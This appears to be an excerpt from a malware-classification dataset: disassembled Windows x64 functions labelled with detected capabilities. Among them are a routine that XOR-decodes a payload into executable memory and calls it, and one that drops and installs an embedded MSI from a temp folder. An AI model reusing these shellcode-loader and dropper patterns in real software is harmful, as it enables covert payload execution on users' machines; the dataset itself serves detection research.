joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400112bc
Capabilities:
Terminate process

Disassembly:
jmp 0x140015360
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14002a1f2]
call fcn.14001158c
lea rcx, [0x14001fe28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x1400153db
lea rdx, str.RtlInitUnicodeString
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023ad8], rax
lea rdx, str.NtCreateFile
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023ae0], rax
lea rdx, str.NtSetInformationFile
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023ae8], rax
cmp qword [0x140023ad8], 0
je 0x1400153ef
cmp qword [0x140023ae0], 0
jne 0x14001540b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.140011271
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011316
Capabilities:
Terminate process

Disassembly:
jmp 0x140017de0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400113e3
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019170
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019190
xor al, al
jmp 0x140019211
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400191a3
xor al, al
jmp 0x140019211
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400191cd
xor al, al
jmp 0x140019211
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400191e1
xor al, al
jmp 0x140019211
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400191f3
xor al, al
jmp 0x140019211
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001920f
xor al, al
jmp 0x140019211
mov al, 1
add rsp, 0x38
ret
Function at 0x140011505
Capabilities:
Delete file
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
jmp 0x140015150
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xb6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x140023050]
xor rax, rbp
mov qword [rbp + 0x448], rax
lea rcx, [0x14002a1f2]
call fcn.14001158c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 8], rax
lea r8, [0x140020108]
mov edx, 0x66
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea r9, [rbp + 0x50]
xor r8d, r8d
lea rdx, [0x140020118]
lea rcx, str.C:windows_temp_
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rdx, [rbp + 0x50]
lea rcx, str.___MSI_file:__ls_n
call fcn.140011271
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x274], eax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x298], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 7
mov edx, 0x40040000
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x2b8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rbp + 0x274]
mov rdx, qword [rbp + 0x298]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call fcn.140011488
lea rdx, str.ACTIONINSTALL
lea rcx, [rbp + 0x50]
call fcn.140011005
lea rdx, str.REMOVEALL
lea rcx, [rbp + 0x50]
call fcn.140011005
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001f2c0]
call fcn.1400114ba
mov eax, edi
mov rcx, qword [rbp + 0x448]
xor rcx, rbp
call fcn.14001128f
lea rsp, [rbp + 0x458]
pop rdi
pop rbp
ret
Function at 0x140001010
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x2c], eax
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x24], 0x4412
mov eax, dword [rsp + 0x24]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rcx, str.sc.exe
call qword [sym.imp.ole32.dll_CoLoadLibrary]
test rax, rax
jne 0x140001071
xor eax, eax
jmp 0x1400010ec
mov dword [rsp + 0x20], 0
jmp 0x140001085
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x20], eax
jae 0x1400010d5
movsxd rax, dword [rsp + 0x20]
lea rcx, section..data
movzx eax, byte [rcx + rax]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
cdq
mov ecx, 0x19
idiv ecx
mov eax, edx
cdqe
lea rcx, [0x140002030]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x28]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
mov byte [rdx + rcx], al
jmp 0x14000107b
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
call qword [rsp + 0x38]
mov qword [0x14002f418], rax
xor eax, eax
add rsp, 0x48
ret
Function at 0x140004f10
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x140047010]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
xor edi, edi
lea rax, vtable.InjectWindow.0
mov qword [rcx], rax
mov dword [rcx + 0x14], 0x42c80000
mov dword [rcx + 0x38], 0x3e109091
mov dword [rcx + 0x3c], 0x3e109091
mov dword [rcx + 0x40], 0x3e109091
mov dword [rcx + 0x44], 0x3f800000
mov dword [rcx + 0x48], 0x3f6dedef
mov dword [rcx + 0x4c], 0x3e109091
mov dword [rcx + 0x50], 0x3ee8e8ea
mov dword [rcx + 0x54], 0x3f800000
mov qword [rcx + 0x58], 0x3f000000
mov dword [rcx + 0x60], 0x3f800000
mov dword [rcx + 8], 0x44160000
mov dword [rcx + 0xc], 0x43960000
mov qword [rcx + 0x70], r8
movaps xmm4, xmmword [0x14003eb90]
movss xmm3, dword [0x14003e9e0]
mov dword [rbp - 0x29], edi
mov qword [rbp - 0x21], rdi
movaps xmm1, xmmword [0x14003eb00]
movups xmmword [rbp - 1], xmm1
movaps xmm0, xmmword [0x14003eb70]
movups xmmword [rbp + 0xf], xmm0
mov qword [rbp + 0x1f], 0x3f000000
mov dword [rbp + 0x27], 0x3f800000
mov dword [rbp - 0x25], 0x43f00000
movss xmm2, dword [0x14003e9c0]
unpcklps xmm2, xmm3
movups xmmword [rbp - 0x11], xmm4
movups xmm0, xmmword [rbp - 0x29]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rbp - 0x19]
movsd xmm1, xmm2
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rbp - 9]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rbp + 7]
movups xmmword [rcx + 0x40], xmm1
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rcx + 0x50], xmm0
movsd xmm1, qword [rbp + 0x27]
movsd qword [rcx + 0x60], xmm1
mov dword [rcx + 0x10], 0x41a00000
mov dword [rcx + 0x68], edx
lea ecx, [rdi + 8]
call fcn.140036b8c
mov qword [rax], rbx
mov qword [rbp + 0x37], rax
lea rcx, [rbp - 0x31]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14000b830]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x39], rax
test rax, rax
je 0x1400050ba
cmp dword [rbp - 0x31], edi
je 0x1400050ae
movaps xmm0, xmmword [rbp - 0x39]
movdqa xmmword [rbp + 0x37], xmm0
lea rcx, [rbp + 0x37]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400050ae
mov rax, rbx
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400369f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x31], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x140006280
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x140047010]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
xor edi, edi
lea rax, vtable.LoginWindow.0
mov qword [rcx], rax
mov dword [rcx + 0x14], 0x42c80000
mov dword [rcx + 0x38], 0x3e109091
mov dword [rcx + 0x3c], 0x3e109091
mov dword [rcx + 0x40], 0x3e109091
mov dword [rcx + 0x44], 0x3f800000
mov dword [rcx + 0x48], 0x3f6dedef
mov dword [rcx + 0x4c], 0x3e109091
mov dword [rcx + 0x50], 0x3ee8e8ea
mov dword [rcx + 0x54], 0x3f800000
mov qword [rcx + 0x58], 0x3f000000
mov dword [rcx + 0x60], 0x3f800000
mov byte [rcx + 0x68], dil
mov dword [rcx + 8], 0x44160000
mov dword [rcx + 0xc], 0x43960000
movaps xmm4, xmmword [0x14003eb90]
movss xmm3, dword [0x14003e9e0]
mov dword [rbp - 0x29], edi
mov qword [rbp - 0x21], rdi
movaps xmm1, xmmword [0x14003eb00]
movups xmmword [rbp - 1], xmm1
movaps xmm0, xmmword [0x14003eb70]
movups xmmword [rbp + 0xf], xmm0
mov qword [rbp + 0x1f], 0x3f000000
mov dword [rbp + 0x27], 0x3f800000
mov dword [rbp - 0x25], 0x43f00000
movss xmm2, dword [0x14003e9c0]
unpcklps xmm2, xmm3
movups xmmword [rbp - 0x11], xmm4
movups xmm0, xmmword [rbp - 0x29]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rbp - 0x19]
movsd xmm1, xmm2
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rbp - 9]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rbp + 7]
movups xmmword [rcx + 0x40], xmm1
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rcx + 0x50], xmm0
movsd xmm1, qword [rbp + 0x27]
movsd qword [rcx + 0x60], xmm1
lea rax, str.Initiating_client
mov qword [rcx + 0x18], rax
mov dword [rcx + 0x10], 0x41a00000
mov qword [rbp + 0x37], rcx
mov qword [rbp + 0x3f], rdx
lea ecx, [rdi + 0x10]
call fcn.140036b8c
movups xmm0, xmmword [rbp + 0x37]
movups xmmword [rax], xmm0
mov qword [rbp + 0x37], rax
lea rcx, [rbp - 0x31]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14000b8b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x39], rax
test rax, rax
je 0x14000643e
cmp dword [rbp - 0x31], edi
je 0x140006432
movaps xmm0, xmmword [rbp - 0x39]
movdqa xmmword [rbp + 0x37], xmm0
lea rcx, [rbp + 0x37]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140006432
mov rax, rbx
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400369f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x31], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x140006a30
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x140047010]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
mov qword [rbp + 0x2f], rcx
xor edi, edi
mov qword [rcx + 8], rdi
lea rax, vtable.InstallerWindow.0
mov qword [rcx], rax
add rcx, 0x10
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rdi
lea r8d, [rdi + 0x25]
lea rdx, str.Please_wait_while_we_set_things_up...
call fcn.14000a4a0
nop
mov dword [rbx + 0x34], 0x42c80000
mov dword [rbx + 0x58], 0x3e109091
mov dword [rbx + 0x5c], 0x3e109091
mov dword [rbx + 0x60], 0x3e109091
mov dword [rbx + 0x64], 0x3f800000
mov dword [rbx + 0x68], 0x3f6dedef
mov dword [rbx + 0x6c], 0x3e109091
mov dword [rbx + 0x70], 0x3ee8e8ea
mov dword [rbx + 0x74], 0x3f800000
mov qword [rbx + 0x78], 0x3f000000
mov dword [rbx + 0x80], 0x3f800000
mov dword [rbx + 8], 0x44160000
mov dword [rbx + 0xc], 0x43960000
movaps xmm4, xmmword [0x14003eb90]
movss xmm3, dword [0x14003e9e0]
mov dword [rbp - 0x29], edi
mov qword [rbp - 0x21], rdi
movaps xmm1, xmmword [0x14003eb00]
movups xmmword [rbp - 1], xmm1
movaps xmm0, xmmword [0x14003eb70]
movups xmmword [rbp + 0xf], xmm0
mov qword [rbp + 0x1f], 0x3f000000
mov dword [rbp + 0x27], 0x3f800000
mov dword [rbp - 0x25], 0x43f00000
movss xmm2, dword [0x14003e9c0]
unpcklps xmm2, xmm3
movups xmmword [rbp - 0x11], xmm4
movups xmm0, xmmword [rbp - 0x29]
movups xmmword [rbx + 0x30], xmm0
movups xmm1, xmmword [rbp - 0x19]
movsd xmm1, xmm2
movups xmmword [rbx + 0x40], xmm1
movups xmm0, xmmword [rbp - 9]
movups xmmword [rbx + 0x50], xmm0
movups xmm1, xmmword [rbp + 7]
movups xmmword [rbx + 0x60], xmm1
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rbx + 0x70], xmm0
movsd xmm1, qword [rbp + 0x27]
movsd qword [rbx + 0x80], xmm1
mov dword [rbx + 0x30], edi
mov qword [rbp + 0x37], rbx
lea rax, str.perimede
mov qword [rbp + 0x3f], rax
lea ecx, [rdi + 0x10]
call fcn.140036b8c
movups xmm0, xmmword [rbp + 0x37]
movups xmmword [rax], xmm0
mov qword [rbp + 0x37], rax
lea rcx, [rbp - 0x31]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14000b930]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x39], rax
test rax, rax
je 0x140006c13
cmp dword [rbp - 0x31], edi
je 0x140006c07
movaps xmm0, xmmword [rbp - 0x39]
movdqa xmmword [rbp + 0x37], xmm0
lea rcx, [rbp + 0x37]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140006c07
mov rax, rbx
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400369f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x31], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x140008720
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140008748
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000876e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140008770
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400087c9
test ecx, ecx
jle 0x1400087a9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400087c9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400087c9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x1400087f0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140008812
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140008828
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140008844
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140008846
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140008882
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000891e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400088bd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400088fe
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000891e
cmp rbx, rax
ja 0x1400088d0
test rbx, rbx
je 0x14000891e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140008d50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140047010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140008d7d
xor eax, eax
jmp 0x140008ee9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140008db7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140008db7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140008ee9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140008edc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140008dfa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140008e25
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140008ee1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140008e94
sub eax, 1
je 0x140008e94
cmp eax, 2
jne 0x140008edc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140008ee1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140008ec2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140008edc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140008ee1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400369f0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140009970
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140047010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140009a43
cmp byte [rcx + 0x71], 0
je 0x140009a43
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140009a3f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140009a04
sub eax, 1
je 0x140009a08
cmp eax, 2
jne 0x140009a3f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400369f0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140009a36
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140009a3f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400099ec
xor al, al
jmp 0x1400099ec
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400369f0
add rsp, 0x60
pop rbx
ret

Function at 0x14000d390
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000d3ed
lea rbx, [0x14003a5e0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x14000d3d4
cmp r10, 2
jb 0x14000d3d4
cmp byte [r9], r8b
jne 0x14000d3d4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x14000d3b0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000d42f
lea rbx, [0x14003a5e0]
cmp r8b, 0x23
jne 0x14000d413
cmp byte [r9], r8b
jne 0x14000d413
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x14000d400
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x14000d570
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000d58a
mov qword [r8], 0
lea rdx, [0x14003e7b0]
call fcn.14000d440
mov rbx, rax
test rax, rax
jne 0x14000d5aa
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x14000d681
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000d681
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000d681
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000d681
cmp rdi, 0xffffffffffffffff
je 0x14000d681
mov rax, qword [0x140067e90]
test rax, rax
je 0x14000d61e
inc dword [rax + 0x3bc]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14000d681
